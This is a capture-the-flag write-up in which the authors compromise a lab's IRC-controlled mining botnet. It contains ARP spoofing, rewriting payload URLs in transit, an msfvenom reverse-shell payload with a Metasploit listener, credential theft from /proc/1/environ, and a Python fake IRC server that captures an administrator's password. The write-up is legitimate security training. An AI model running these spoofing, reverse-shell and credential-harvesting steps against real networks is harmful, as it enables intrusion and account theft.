Description
Did you know that Alt-F4 is the shortcut for ops in IRC?
Difficulty: hard
Resource: OpenVPN configuration
Resolution
We began the challenge by scanning our /28 range:
Nmap scan report for 172.30.0.1 Host is up (0.18s latency). MAC Address: 02:42:76:9E:00:48 (Unknown) Nmap scan report for 172.30.0.2 Host is up (0.18s latency). MAC Address: 02:42:0D:FB:E9:B4 (Unknown) Nmap scan report for 172.30.0.14 Host is up. Nmap done: 16 IP addresses (3 hosts up) scanned in 2.81 seconds
There’re only 2 hosts + us.
Using Ettercap for ARP spoofing we managed to retrieve IRC traffic (mining bots?):
172.30.0.2:44174 <-> 172.30.20.10:6667 [...] PING :irc.hades.naum :lordbaal!eugene@172.30.20.2 PRIVMSG #void :+impac66, payload http://172.30.20.2:8080/stats :impac66!imp@172.30.20.3 PRIVMSG #void :lordbaal, running... :impac66!imp@172.30.20.3 PRIVMSG #void :> dst 18kKGTd8CJYScHvD18JBoABzM68qgNqASG :impac66!imp@172.30.20.3 PRIVMSG #void :> uptime 852 s :impac66!imp@172.30.20.3 PRIVMSG #void :> 21.09 Mhash/s :impac66!imp@172.30.20.3 PRIVMSG #void :> 0 blocks mined :impac66!imp@172.30.20.3 PRIVMSG #void :done: 0 :lordbaal!eugene@172.30.20.2 PRIVMSG #void :+imp63a3, payload http://172.30.20.2:8080/stats ERROR :Closing Link: 172.30.0.2 (Ping timeout: 60 seconds) PING keep-alive PRIVMSG #void :lordbaal, running... PONG irc.hades.naum PRIVMSG #void :lordbaal, running... QUIT :Connection reset by peer [...]
We have discovered here some interesting information, here is the summary:
– an IRC bot at 172.30.0.2 (nick: imp63a3) //the spoofed host
– an IRC client at 172.30.20.2 (nick: lordbaal)
– another IRC bot at 172.30.20.3 (nick: impac66)
– an IRC server at 172.30.20.10
At first we could not connect to the IRC server and all the ports seemed closed with Nmap.
In fact it was just a routing problem, that’s why our MiTM did not work well and cut the connections… 😐
route add -net 172.30.20.0/28 gw 172.30.0.1
No more problem after that! 😉
Nmap scan report for 172.30.20.10 Host is up (0.18s latency). PORT STATE SERVICE 6667/tcp open irc Nmap done: 1 IP address (1 host up) scanned in 2.60 seconds
We then tried to connect to the IRC server and got:
* Closing Link: 172.30.0.14 (Bad Password)
Noooooooooooo 🙁
The simplest solution would have been to cut the connection between the bot and the server IRC and then to recover the password that passed through.
Yes, but everything in its own time: it would be useful to know what is in the URL “payload” isn’t it?
wget http://172.30.20.2:8080/stats
file stats stats: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a2ceec8f1d7d52b92d9e231b073e34be2d23ba76, not stripped
strace ./stats [...] openat(AT_FDCWD, "/var/run/stats", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 read(3, "", 4096) = 0 fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 3), ...}) = 0 write(1, "no stats\n", 9no stats ) = 9 exit_group(1) = ? +++ exited with 1 +++
The 2 bots seem to download from the URL an ELF binary and execute it.
The program itself did not seem to do much except opening a file.
So we decided to modify on the fly the payload’s URL with another one using MiTM again.
This could have been done with filters in Ettercap, but in the meantime with routing problems, we used Scapy to control everything we did.
A python script with only Scapy for ARP spoofing, and another script with Scapy & NetFilterQueue management for the rewrite. \o/
We used msfvenom to generate a payload for a reverse shell.
msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=172.30.0.14 LPORT=8080 -b "\x00" -f elf -o payload
We were listening for a contact.
sudo python -m SimpleHTTPServer 80 & msfconsole -q -x "use exploit/multi/handler;set PAYLOAD linux/x86/shell/reverse_tcp; set LHOST 172.30.0.14; set LPORT 8080; run; exit -y"
An URL has been captured and modified:
http://172.30.20.2:8080/stats # default to http://172.30.0.14/payload # our URL, with a reverse tcp payload
Everything worked as expected and the bot came to download the file:
Serving HTTP on 0.0.0.0 port 80 ... 172.30.0.2 - - [02/Mar/2019 20:23:15] "GET /payload HTTP/1.1" 200 - [*] Command shell session 1 opened (172.30.0.14:8080 -> 172.30.0.2:39438) at 2019-03-02 20:23:18 +0100
We recovered the list of its running processes:
ps -ax PID TTY STAT TIME COMMAND 1 ? Ss 0:02 python /usr/local/bin/adminutil 208 ? Sl 0:00 /miner 18kKGTd8CJYScHvD18JBoABzM68qgNqASG
As well as the source of the python file:
cat /usr/local/bin/adminutil #!/bin/env python # coding: utf-8 [...] SERVER = os.environ.get("SERVER") CHANNEL = os.environ.get("CHANNEL", "#void") USERNAME = os.environ.get("USERNAME", "imp") PASSWORD = os.environ.get("PASSWORD", "password") [...]
Since the environment variables have been emptied, it was necessary to recover the existing ones when the process was started.
cat /proc/1/environ # /proc/<pid>/* There is a lot of information about the process here [...] SERVER=172.30.20.10 PASSWORD=underling [...]
We already knew that there was a channel #void but it was necessary to make sure and it was a good idea!
Channel Users Topic #sanctum 1 [+nt] #void 3 [+nt] * End of /LIST
What can there be in #sanctum? If only we could enter…
* #sanctum :Cannot join channel (Only lords may enter the sanctum!)
Maybe prefixing my nick with lord? Neither.
/nick lordwtf * lordwtf :Only the chosen may adopt the title of lord!
Regarding the channel #void, no changes:
* WtF is wtf@172.30.0.14 * WtF * imp63a3 is imp@172.30.0.2 * imp63a3 * impac66 is imp@172.30.20.3 * impac66 * lordbaal is eugene@172.30.20.2 * baal * #void :End of /WHO list.
Always the same messages:
<lordbaal> +imp63a3, purge <imp63a3> lordbaal, there are no running processes <lordbaal> +imp63a3, payload http://172.30.20.2:8080/miner 18kKGTd8CJYScHvD18JBoABzM68qgNqASG <imp63a3> lordbaal, running... <lordbaal> +impac66, payload http://172.30.20.2:8080/stats <impac66> lordbaal, running... <impac66> > dst 18kKGTd8CJYScHvD18JBoABzM68qgNqASG <impac66> > uptime 922 s <impac66> > 18.90 Mhash/s <impac66> > 0 blocks mined <impac66> done: 0
We stayed a few hours stuck, wondering what to do:
Disconnect lordbaal and get his nickname to enter #sanctum? Possible.
On the other hand the flag is not in the topic of the channel otherwise we would have seen it…
Maybe the bot sends the flag in the chan? We still need to intercept the packets!
Problem: lordbaal is not in the same network as us, the ARP spoofing will not work. 🙁
Hey wait! There were 2 bots, one in our network, and the other one in lordbaal’s.
As we can execute code on both, we chose the good one to get a reverse shell and tried to launch the ARP spoofing remotely.
We got a new reverse shell, this time inside the network 172.30.20.0/28:
[*] Command shell session 1 opened (172.30.0.14:8080 -> 172.30.20.3:57958) at 2019-03-02 23:12:40 +0100 cd /root wget http://172.30.0.14/arpspoof.deb dpkg -i arpspoof.deb
We tried a lot of things in order to disconnect the administrator using ARP spoofing, but none worked.
It must be said that the possibilities were quite limited: minimalist container without internet, no iptables, forward allowed by default and unchangeable, …
In the end, radical decision: make an IP address conflict (with IP aliases, we’re not mad to shoot ourselves in the foot), and it worked!
ip addr add 172.30.20.2/28 dev eth0 label eth0:1
* lordbaal has quit (Read error: Connection reset by peer)
We tried to take his nickname and got in return the same message as before, we deleted the IP alias.
Yes we are not lords but let us see what’s inside!
Maybe there is a verification based on his username?
Remember: lordbaal is eugene@172.30.20.2 * baal
We had a strange return on connect with eugene as username:
* Closing Link: 172.30.0.14 (Bad Password)
Everything became clearer!
It’s an I:Line (access rule inside the IRC server’s config) with filtering on the username and a specific password.
We only had to pretend to be the server for lordbaal.
This last step was very risky: the fact of adding the IP of the server in alias makes the bot connect in “local”, thus on a fake IRC server, and it would be difficult to reconnect there (except by putting a persistent reverse shell etc.).
As the goal was to connect the administrator on the controlled server, we had to tell him that we were the IP 172.30.20.10:
./arpspoof -t 172.30.20.2 172.30.20.10 2:42:81:59:3c:31 2:42:39:1a:6:1d 0806 42: arp reply 172.30.20.10 is-at 2:42:81:59:3c:31
For more security we have activated the IP’s change back upon receipt of the password:
#!/usr/bin/env python3 import socket import re import os HOST = '0.0.0.0' PORT = 6667 addip = 'ip addr add 172.30.20.10/28 dev eth0 label eth0:1' print('[CMD] %s' % addip) os.system(addip) with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.bind((HOST, PORT)) print('* Listening... *') s.listen() conn, addr = s.accept() with conn: print('Connect from '+addr[0]) while True: data = conn.recv(1024) if not data: break content = data.decode() print(content) m = re.search('PASS (.+)\\r\\n', content) if m: pwd = m.group(1) print('LOOT! - '+pwd) delip = 'ip addr del 172.30.20.10/28 dev eth0' print('[CMD] %s' % delip) os.system(delip) exit()
Giving us the following output:
$ python3 ircd.py [CMD] ip addr add 172.30.20.10/28 dev eth0 label eth0:1 * Listening... * Connect from 172.30.20.2 > PASS suckitinnotech > NICK baal > USER eugene 0 * :baal LOOT! - suckitinnotech [CMD] ip addr del 172.30.20.10/28 dev eth0
We connected on the real IRC server with the password and waited on the #sanctum channel.
* lordbaal (eugene@172.30.20.2) has joined #sanctum <lordbaal> WtF, who the hell are you?! gigem{command_and_out_of_control}
Flag was gigem{command_and_out_of_control}
What a fun challenge isn’t it? Thanks again! 😀